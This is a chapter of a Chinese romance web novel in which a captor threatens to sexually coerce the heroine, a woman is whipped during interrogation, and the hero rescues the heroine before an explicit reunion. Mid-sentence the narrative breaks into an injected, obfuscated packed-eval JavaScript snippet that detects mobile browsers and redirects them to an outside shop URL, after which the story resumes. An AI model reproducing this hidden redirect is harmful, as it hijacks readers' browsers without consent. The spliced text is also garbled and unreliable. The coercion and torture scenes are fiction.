72.花期
作品:《少惹将军》 或许只是巧合吧。
转眼夜幕又慢慢扯开,小院子里挂上了灯笼。
齐粟与流纨一直在院中坐着,竟也能心平气和,有一搭没一搭地聊着。
流纨彻底放弃跟这个人套话的念头,她动什么心思,他都知道。
但是在院子里坐着聊天,总比面对他发疯比较好。
她故意问他,有没有某个时辰,把自己看作是金人?
齐粟盯着眼前蓬蓬树影:“我从来没忘记这一点。”
这么坦诚,倒叫顾流纨意外了。
“不过那又如何?记得不代表喜欢,反而是因为深深的厌恶;我拼死拼活想要一个更喜欢的身份,有错吗?
“我在南朝长大,为何不能做一个南人?
“若你是我,你该如何?”
流纨被他一问三连,问得说不出话来。
“世人都因为我的血脉嫌弃我,可我的出身是我能决定的吗?我又做错了什么?”
流纨虽然不愿,但还是说了一句公道话:“这的确怪不着你。”
齐粟转头看她。
“我不是在帮你说话,实事求是而已。”
“我很感激。”
流纨不欲在深讨论,再说下去,像是要为他打抱不平了。
她是陆沉的人,不必为别人打抱不平,主持公道。
再说,齐粟想要做南人没错;可为了这个动机,却做了太多伤天害理的事情。
夜深,流纨再也撑不住了。
她打了个哈欠:“我进去睡了。”
她有些紧张,动作也有一丝不易觉察地慌乱。
果然,齐粟不疾不徐地伸出手,拉住她。
齐粟问道:“若是我今晚留在你身边,他又会做什么?”
又……?
陆沉做什么了?
“是不是你在这里多留一晚,我便离死更近一步?”
“我不懂你什么意思。”
“是不是你我坐在这里闲话家常,对他来讲;更难以接受?”
“……”
今天,是他第一次见到那人对他动了杀气。尽管他很快便敛了回去,又对他温言相对。
他甚至还像以前那样叫他。
但那一瞬间的杀气真真切切,他知道他动怒了。
他十分无措,像个犯错的孩子。
他很厌恶这种感觉,很熟悉的感觉。
因为被人嫌弃的下一步,便是被人抛弃。
他不喜欢那种感觉。
齐粟将她拽回到自己的面前,脸上猛然出现狠戾之色,将她带入自己的怀里。
一阵恐惧爬上顾流纨的头顶。
“你,你要做什么?不是说好不点那个……”
“他竟然敢反过来要挟我?”
定是陆沉为了找到她,使了手段威胁他了。
他嗤笑:“我会怕他?”
像是被蛇绞缠,流纨无措道:“你冷静些……冷静些……你自是不怕他的……”
齐粟道:“我倒要看看,今晚我便要了你,明日他又会做什么。”
流纨脑子里“轰然”一声,连声音都带着哭腔:“不要啊,我不要明珠投。”
齐粟不轻不重地扣住她的脖子,上下摩挲,把自己埋进她脖子上的香味之中:“不用那东西,我也可以叫你快活。”
流纨抖成一团:“放开我,不然我就死给你看,我真的会死,别以为我不敢……我一定会找机会死的……”
齐粟嗤笑一声:“好呀!那我们便一起,虽然活不成;好歹我可以跟你一起死。”
流纨狠命地推,他冷酷地锁着她。
随后,他说了一句叫流纨几乎魂飞魄散的话。
“我总觉得,他的人或许就快要找来了。那么你我就在这院中做,如何?幕天席地,叫他亲眼看着;我就是要叫他知道,叫天下人知道,你顾流纨是我的。”
“你我才是夫妻。”
流纨连逃的力气都没了。
齐粟将人留在自己的身上,带着哄骗的语气道:“你乖一些,我自然不需要点那东西。”
流纨满眼都是绝望惊恐。
他说的是真的,他说到做到的。
“你说……你喜欢我。”
齐粟暂停了动作:“当然了,这还用问?”
“那为什么一点也不在乎我的想法?你问过我吗?喜欢的前提是尊重……”
流纨乱说一气,病急乱投医。
果然齐粟冷笑:“尊重?在钦州的时候我没尊重你?我没有对你以礼相待?结果你呢?水性之人,却要我的尊重?若非明珠投,我要尊重你到哪一天,你才肯?”
“我不是你的物件呐!你喜欢我,也要我喜欢你,两情相悦……”
“我不知道什么叫做两情相悦!”齐粟狠狠地打断她,“我从来便只有一厢情愿!”
“那样不好!你自己也不会快活;会有一个人,愿意对你敞开心扉,看到你的好处;眼里心里只有你一个人,你要……静待花开……”
流纨把以前工作时的鸡汤一股脑儿喂给他。
“静待花开……?”
“是!木樨花九月开,腊梅腊月开,红梅春天开,你的花期还没到呢!”
“呵呵……”
齐粟突然就笑了。
“那开过之后又收回去,算怎么回事?”
流纨急于脱身,磕磕巴巴道:“也有开错了花期的……没事的,来年……。”
齐粟静静地看着她胡扯。
流纨被他这么看着,也很难扯下去。
他看起来有一种淡淡的哀伤,但完全没有被说服的意思。
他到底还是放开了顾流纨。
“你既这么说,那我便等来年。
“来年,我们就把所有的明珠投都扔掉,好不好?”
流纨愣神。
“都扔了,你会来找我吗?”
这怎么可能呢?可眼下,她又怎么敢说“不”?
“你是哪一种花,几月开?”
“我……”
“几月开都没关系,总之我愿意等;只要你说的是真心话。”
流纨本就是打个比方,却不料给自己挖了一个坑。
现在就是她不答应,他便要困住他一辈子?
她心虚的模样,他看得一清二楚。
“既困了,便去睡吧。”
流纨差点不敢相信自己的耳朵,这样就放过她了?
“在我后悔之前。”
流纨劫后余生,惊魂未定。
简直可以说是慌不择路。
安全了,起码今晚。
齐粟转着杯子,嘴角噙着一丝冷笑。
为什么要放过她?因为钦州那段日子,她对他有一丝真心?
满口谎言的女人。
节帅府。
刘翼德走进东院书房,还没等陆沉问他,他便摇了摇头。
“要说这丫头也是少见的骨头硬,本来以为吓唬一下就得了,谁知道她竟然硬抗下来了,来来回回就是‘不知道’三个字。”
陆沉本来神色平和,一听他的话,将手上把玩的一块绣着奇怪花纹的帕子收回怀中,嘲讽道:“心软了?”
刘翼德心里叨咕:不然你自己怎么不去审呢?姓张的你不是审得不亦乐乎?
毕竟是个女人,下手狠一点直接就把人给送走了。
像是看出了他的腹诽,陆沉站了起来:“我去审审看。”
刘翼德愣了一下,随后有些好奇地跟了过去。
节帅府后院一座偏房内,苏浅斟抱着自己的胳膊,缩在墙角。
她身上没一块好肉,疼得她恨不得立刻就死了。
但幸运的是,没伤到筋骨。
那些军汉大约是怕自己拿捏不好轻重,怕不小心弄死了她没处审,伤筋动骨的刑具倒是都没动用。
这时,一个嬷嬷进来,提着一个木桶。
她恐惧地盯着那个桶。
桶里装的是盐水,打完鞭子之后便要来泼她。
这刑,她受过一次了。
那嬷嬷把桶放在她旁边,蹲下身去,带着笑道:“姑娘要不要洗刷一下?”
苏浅斟慌忙摇了摇头,把自己缩得更小。
嬷嬷道:“姑娘既怕疼,一会儿招了不就得了?咱们节帅肯定会保你的啊!我们节帅向来最是怜香惜玉,从不跟女人过不去,一会儿你给他一点面子啊!”
苏浅斟眼里一阵绝望。
陆沉来审她?
陆沉不是不跟女人过不去,是除了顾流纨,他眼里无男女之别。
她的美貌,眼泪,可怜,伤痕;对他都没用处。
他会真正地审她。
她可怜地看向嬷嬷,这个面相慈祥的女人。
嬷嬷对她笑了笑。
一片阴影挡在门前,苏浅斟抬头。
陆沉慢慢走过来,手朝一边伸出去:“鞭子。”
不到两柱香的功夫,陆沉从偏房里出来,一身浅蓝袍子,干净如初。
刘翼德三分好气七分敬佩地跟在他身后:“节帅你可真神了!前后不过三鞭子,就叫她招了!”
陆沉淡淡地“嗯”了一声。
“但是我实在看不明白,那三鞭子有什么讲究?轻些?重些?还是更疼些?”
“你问这个干什么?想去大理寺谋职?”
刘翼德立刻义愤填膺地宣誓:“我去那破地方干什么?我跟那有仇!我等着去平卢呢——我就是好奇,鞭子是普通的鞭子,力道也没有太大,怎么就招了呢?不是看中节帅你的脸吧……话又说回来,一早你去审不就完了?早把夫人接回来了,用得着这两天抓心挠肝的。”
或许是听到夫人两个字,陆沉突然加快脚步,丢下一句莫名其妙的话:“不迟不早,刚刚好。”
陆沉刚跨过月洞门,嬷嬷赶了上来:“节帅,苏姑娘如何处置。”
陆沉头也不回:“既然招了,便留她一条命;找医正看看,先养着吧。”
随后,陆沉的马被人牵了过来,陆沉翻身而上:“你带人跟着。”
这就是去要人了。
齐粟的山中别业,位置十分隐蔽,更只有一条羊肠小道供人通行。
所以,当齐粟见到陆沉到了几百人围着别业来抢人,还是有些意外。
他只是意外,怎么来了这么多人?
从昨天入宫那一刻起,他便知道,瞒不了多久。
张母已死,他做的;张颖达失踪,陆沉有恃无恐。
这一连串事实连起来,齐粟不敢,他亦不敢。
因为张颖达的失踪,也是他做的。
他在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226495|185655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金国的半年到底做了什么,无人得知。
他手上明明有可以置他于死地的证据,却偏偏不动手,只能说,他所图更大。
或许不是针对他齐粟的。
齐粟不寒而栗。
二十年筹划,还没到浮出水面的那一天。
陆沉下马,一步一步,踏上台阶。
齐粟站在木樨花下,冷冷地看着这个做什么都一往无前的男人。
他曾经将他打入泥潭,差点弄死了他。
可这才不过半年的功夫,他便东山再起,睥睨天下。
也包括齐粟。
他看他,如同看一个死人。
可他不是来要他的命的。这是第二次,他到他的地盘,抢走他的女人。
胆小怯懦的皇族,将顾流纨当成调节两方的砝码。
不过是死了个村姑,他就怕成这样,早知如此……
随后,他便看到听到动静从房里走出的顾流纨,含羞带笑。
她没看错花期,陆沉便是她的花期。
她肯哄他一个晚上,已经是恩赐了。
流纨朝他奔去,经过木樨花下。
她像是才发现他站在这里,下意识地止住了脚步。
于是齐粟便道:“静待花开,你骗我?”
“我没有。是你会错意,我说的是会有人。”
齐粟何尝不知道她昨晚说的不是自己?
但是他偏道:“昨晚为何不解释?”
流纨语塞。
她怕他发疯。
陆沉站在廊下,静静地看着。
“早知道你骗我,我便做给他看了。”
流纨的脸刹那变红了。
“让他看着你跟我欢好,看他还要不要你。”
“齐粟你……”
“看他有没有那么大的肚量。”
流纨脸变得发白:“你能不能放过我?”
“钦州的时候,你该放过我!”
顾流纨不禁咬牙:“你口口声声说钦州,过不去了是吗?”
齐粟抬眸,死死盯着她:“原来你没忘,只是在跟我装傻啊!我一直以为你忘了。
“亏我费劲力气,寻来明珠投,只为唤醒你的记忆!
“你没忘!却在跟我装傻!”
流纨心里一阵紧缩,下意识地朝廊下看去。
这个距离,他大约听不见,只隐约瞧见他眉目温柔。
她原本毫无顾忌,哪怕被齐粟强娶,那也不是她的错。
可她有些怕陆沉知道她在钦州的过往。
那些难辨真假的记忆,她怕大约有一些是真的。
“我忘了,几乎忘了。”
“但其实……没忘。”
“嗯……”
齐粟等着她说下去,哪怕是刀子,哪怕是骗人的鬼话。
谁知道顾流纨语气极淡:“我记得那些事,可我忘了那感觉。”
“我甚至不知道,当时为什么会跟你那样……
“以往就算是我们彼此都……如今也不可能了。”
齐粟笑了笑。
他朝陆沉看了一眼:“不送了。”
他比顾流纨先离开。
流纨竟有些恍惚。
走向陆沉时,她有些虚脱,像是一下子放下了所有的担惊受怕。
陆沉将她拥在怀里,吻了吻他额头:“回家。”
来时骑马,回时坐车。
陆沉把人圈在怀里,一分一寸,舔吮过她的唇。
像是在确定什么。
流纨隐隐感觉到他那种焦渴不安,虽觉得十分荒唐,为了安抚,还是默许了他。
好在马车四壁挂着厚重的帘子,克制些,外面便都听不到。
马车在崎岖的山路上不疾不徐地走着。
陆沉暂离了她桃花一般艳丽地唇瓣,将她每一个表情都收进眼底。
带着一丝观察的冷静。
她凝眉,她咬唇,她不满他停下。
久别胜新婚,她毫无保留地给,毫无芥蒂地要。
不过想想真是后怕。
齐粟那个说到做到的疯子,竟然肯因为她一两句胡话,便放了她。
得知她骗了她,虽然生气;倒也没为难她。
最后,他大约是想明白了,纠缠没意思。
幸亏自己觑了个空子,把绣有位置的帕子扔到小贩的篮子里。
而这个小贩见到这上好的丝绸,果然拿到集市上去卖。
她的东西以前便有人卖过,一见那绣花,价格便涨了起来。
便被陆沉这个有心蹲守的人买到。
虽难,但还算顺利!
流纨气息轻颤:“我……没想到你这么快来……”
陆沉扶着她的腰,叫流纨坐得到比这厚重的马车更稳:“我每日派人到龄香楼去守着,终于等到了你的帕子。”
流纨没了力气,扶着他的肩,还有心思说笑:“花了多少钱……?”
陆沉心想她还有心思问这些有的没的,该给她吃点苦头。
便加重了些罚她的力度。
“你的东西,无价也要买……嘶。”
谁知突如其来,便被狠狠咬住。
无可奈何,忍无可忍。
陆沉及时堵住了她的唇。
叫她的绞缠全泄在吻里。

